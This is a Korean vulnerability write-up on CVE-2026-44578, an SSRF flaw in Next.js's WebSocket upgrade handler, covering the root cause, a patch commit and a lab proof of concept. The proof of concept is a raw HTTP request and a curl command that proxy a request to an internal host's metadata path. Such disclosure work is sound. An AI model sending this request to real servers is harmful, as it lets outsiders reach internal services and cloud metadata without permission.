[하루한줄] CVE-2026-44578: Next.js의 WebSocket에서 발생하는 SSRF 취약점

URL

Target

  • Next.js
    • 16.0.0 이상 ~ 16.2.5 미만
    • 13.4.13 이상 ~ 15.5.16 미만

Explain

Overview

CVE-2026-44578은 Next.js의 내장 Node.js 서버에서 WebSocket Upgrade 요청을 처리하는 과정에서 발생하는 SSRF(Server-Side Request Forgery) 취약점입니다. CVSS v3.1 기준 8.6(High)로 평가되었으며 취약점을 악용하면 공격자는 인증 없이 단일 HTTP 요청만으로 Next.js 서버를 통해 접근 가능한 내부 서비스로 GET 요청을 전달할 수 있습니다.

항목 내용
CVE ID CVE-2026-44578
CWE CWE-918 (Server-Side Request Forgery)
Impact 인증 없이 서버 내부 네트워크의 임의 호스트(80 포트)에 GET 요청 가능
공격 조건 네트워크 접근 가능, Websocket upgrade 활성화, 타겟 서비스가 80 포트 접근 가능

Background

Next.js의 HTTP 요청 처리 구조

Next.js의 내장 서버는 HTTP 요청을 처리할 때, 두 가지 핸들러를 사용합니다.

  • HTTP request handler: 일반적인 HTTP 요청을 처리
  • upgrade handler: Connecion: Upgrade, Upgrade: websocket 헤더가 포함된 Websocket upgrade 요청을 처리

두 핸들러 모두 내부적으로 resolveRoutes() 함수를 호출해 요청의 라우팅을 결정합니다. 이때, resolveRoutes()는 요청 URL을 파싱하고 라우팅 규칙을 평가한 뒤 결과를 아래 객체로 반환합니다.

next.js-v16.2.4/packages/next/src/server/lib/router-utils/resolve-routes.ts:128

}): Promise<{
  finished: boolean                                    // 라우팅 완료 여부
  statusCode?: number                                  // 리다이렉트 등의 상태 코드
  bodyStream?: ReadableStream | null                   // 미들웨어가 생성한 응답 바디
  resHeaders: Record<string, string | string[]> | null // 라우팅 과정에서 추가된 응답 헤더
  parsedUrl: NextUrlWithParsedQuery                    // 파싱된 URL 객체
  matchedOutput?: FsOutput | null                      // 매칭된 파일시스템
}> {

absolute-form URI

HTTP/1.1 스펙인 RFC 7230에서는 request line(요청 첫 줄)에 absolute-form URI를 허용합니다. 따라서 일반적인 브라우저는 GET /path HTTP/1.1 형태의 origin-form[1]을 사용하지만, 프록시 환경에서는 absolute-form[2]도 유효한 요청입니다.

  • HTTP/1.0에서는 Host 헤더가 표준 요구사항이 아니었기 때문에, 프록시는 목적지를 식별하기 위해 Request-Line에 전체 URI(absolute-form)를 사용했습니다.
  • 현재도 하위 호환성과 프록시 지원을 위해 해당 형식이 유지되고 있습니다.
// [1] origin-form URI
GET /login HTTP/1.1
Host: public.com
// -> public.com/login

// [2] absolute-form URI
GET http://internal-api/res HTTP/1.1
Host: public.com
-> http://internal-api/res

Node.js의 http 모듈은 absolute-form 형태의 Request-Line을 그대로 req.url에 보존합니다. 따라서 url.parse(req.url)를 호출하면 protocol: 'http:', hostname: 'internal-api' 등의 정보가 파싱됩니다.

normalizeRepeatedSlashes 처리

resolveRoutes() 내부에는 URL에 //\가 포함된 경우를 처리하는 early-exit 로직이 존재합니다.

next.js-v16.2.4/packages/next/src/server/lib/router-utils/resolve-routes.ts:156

if (urlNoQuery?.match(/(\\|\/\/)/)) {
  parsedUrl = parseUrl(normalizeRepeatedSlashes(req.url!))
  return {
    parsedUrl,
    resHeaders,
    finished: true,
    statusCode: 308,
  }
}

origin-form URI는 문제가 없지만, absolute-form URI라면 프로토콜 스킴에 해당하는 http://는 early-exit 로직을 타게 됩니다.

http://target/path
-> normalizeRepeatedSlashes
http:/target/path

따라서 finished: true, statusCode: 308이 반환됩니다. 이는 라우팅이 완료되었고 308 리다이렉트 응답을 보내야 함을 의미합니다.

HTTP request handler의 처리 로직

일반적인 HTTP 요청을 처리하는 HTTP request handler는 resolveRoutes()의 반환값에서 finished, statusCode, parsedUrl.protocol을 모두 확인합니다.

next.js-v16.2.4/packages/next/src/server/lib/router-utils/router-server.ts:499

if (finished && parsedUrl.protocol) {
  return await proxyRequest(
    req,
    res,
    parsedUrl,
    undefined,
    getRequestMeta(req, 'clonableBody')?.cloneBodyStream(),
    config.experimental.proxyTimeout
  )
}

finishedtrue이고, parsedUrl.protocol이 존재하더라도 statusCode가 있으면 프록시를 수행하지 않습니다. 이 로직으로 인해 absolute-form URI를 통한 SSRF는 차단됩니다.

Root Cause

취약점은 upgrade handler에서는 resolveRoutes()의 반환값을 불완전하게 검사하기 때문에 발생하였습니다.

next.js-v16.2.4/packages/next/src/server/lib/router-utils/router-server.ts:911

if (parsedUrl.protocol) {
  return await proxyRequest(req, socket, parsedUrl, head)
}

프로토콜만 확인하고 프록시 요청을 수행하기 때문에 308 리다이렉트가 발생해야 하는 요청을 받더라도 프록시 요청이 수행됩니다.

따라서 다음의 공격 흐름이 성립하게 됩니다.

  1. Node.js가 Upgrade 헤더를 보고 upgrade 이벤트 발생
  2. upgrade handler가 resolveRoutes()를 호출
  3. URL의 http://에서 //normalizeRepeatedSlashes에 매칭
  4. resolveRoutes(){ finished: true, statusCode: 308, parsedUrl: { protocol: 'http:', ... } }를 반환
  5. upgrade handler는 finishedstatusCode무시하고, parsedUrl.protocol === 'http:'만 확인
  6. proxyRequest()가 호출되어 internal-api:8080으로 요청이 프록시됨
  7. 내부 서비스의 응답이 공격자에게 전달됨
GET http://internal-api:8080/latest/meta-data/ HTTP/1.1
Host: public.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: aGFja3lib2l6

normalizeRepeatedSlashes에 의해 URL은 변형되지만 proxyRequest와 내부 http-proxy 라이브러리가 타겟 호스트명을 복원하여 TCP 연결은 정상적으로 수립됩니다.

내부 로직에 의한 요청 처리 흐름은 아래와 같습니다.

# upgrade handler
GET http://internal-api:8080/latest/meta-data HTTP/1.1
host: localhost:3000
connection: Upgrade
upgrade: websocket
sec-websocket-version: 13
sec-websocket-key: aGFja3lib2l6

# resolve-routes
urlNoQuery matched /(\\|\/\/)/
req.url:     http://internal-api:8080/latest/meta-data
normalized:  http:/internal-api:8080/latest/meta-data
parseUrl() => {
  protocol: "http:"
  hostname: "internal-api"
  port:     "8080"
  pathname: "/latest/meta-data"
  slashes:  true
}
return { finished: true, statusCode: 308 }

# upgrade handler: resolveRoutes returned
matchedOutput: false
parsedUrl.protocol: "http:"
parsedUrl.hostname: "internal-api"
parsedUrl.port:     "8080"
parsedUrl.pathname: "/latest/meta-data"
-> proxyRequest() called

# proxyRequest
url.format(parsedUrl) => http://internal-api:8080/latest/meta-data
parsedUrl: {"protocol":"http:","hostname":"internal-api","port":"8080","pathname":"/latest/meta-data","search":""}
http-proxy will url.parse(target) => {
  hostname: "internal-api"
  port:     "8080"
  path:     "/latest/meta-data"
}
-> tcp connect internal-api:8080

PoC

간단하게 인프라를 구성해보면 아래와 같습니다.

docker-compose.yaml

services:
  webapp:
    build: ./webapp
    ports:
      - "3000:3000"
    environment:
      - INTERNAL_API_URL=http://internal-api:8080
    networks:
      - public
      - internal
    depends_on:
      - internal-api

  internal-api:
    build: ./internal-api
    networks:
      - internal

networks:
  public:
    driver: bridge
  internal:
    driver: bridge
    internal: true

이 네트워크는 외부 접근 가능한 bridge 네트워크인 public과 외부 라우팅이 차단되는 internal 네트워크가 존재합니다. 따라서 일반적인 상황에서는 Next.js 앱인 webapp 서비스만이 양쪽 네트워크에 연결된 피봇 포인트로 기능합니다.

아래의 curl 명령어를 통해 SSRF 취약점을 이용하여 internal 네트워크의 internal-api 서비스에 요청을 보낼 수 있는 것을 확인할 수 있습니다.

curl --http1.1 \
  -H "Host: localhost:3000" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: aGFja3lib2l6" \
  --request-target "http://internal-api:8080/latest/meta-data" \
  http://localhost:3000/

로그를 확인해보면 실제 요청이 위에서 확인했던 공격 흐름대로 처리되었음을 확인할 수 있습니다.

동일한 타겟에 대해 HTTP request handler 경로를 타게 하면 resolveRoutes(){ finished: true, statusCode: 308 }을 반환하고 statusCode가 존재하므로 proxyRequest()는 호출되지 않는 것을 확인할 수 있습니다.

Patch

패치 커밋 c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8에서 upgrade handler에 finishedstatusCode 검사를 추가하여 SSRF 취약점을 조치하였습니다.

Reference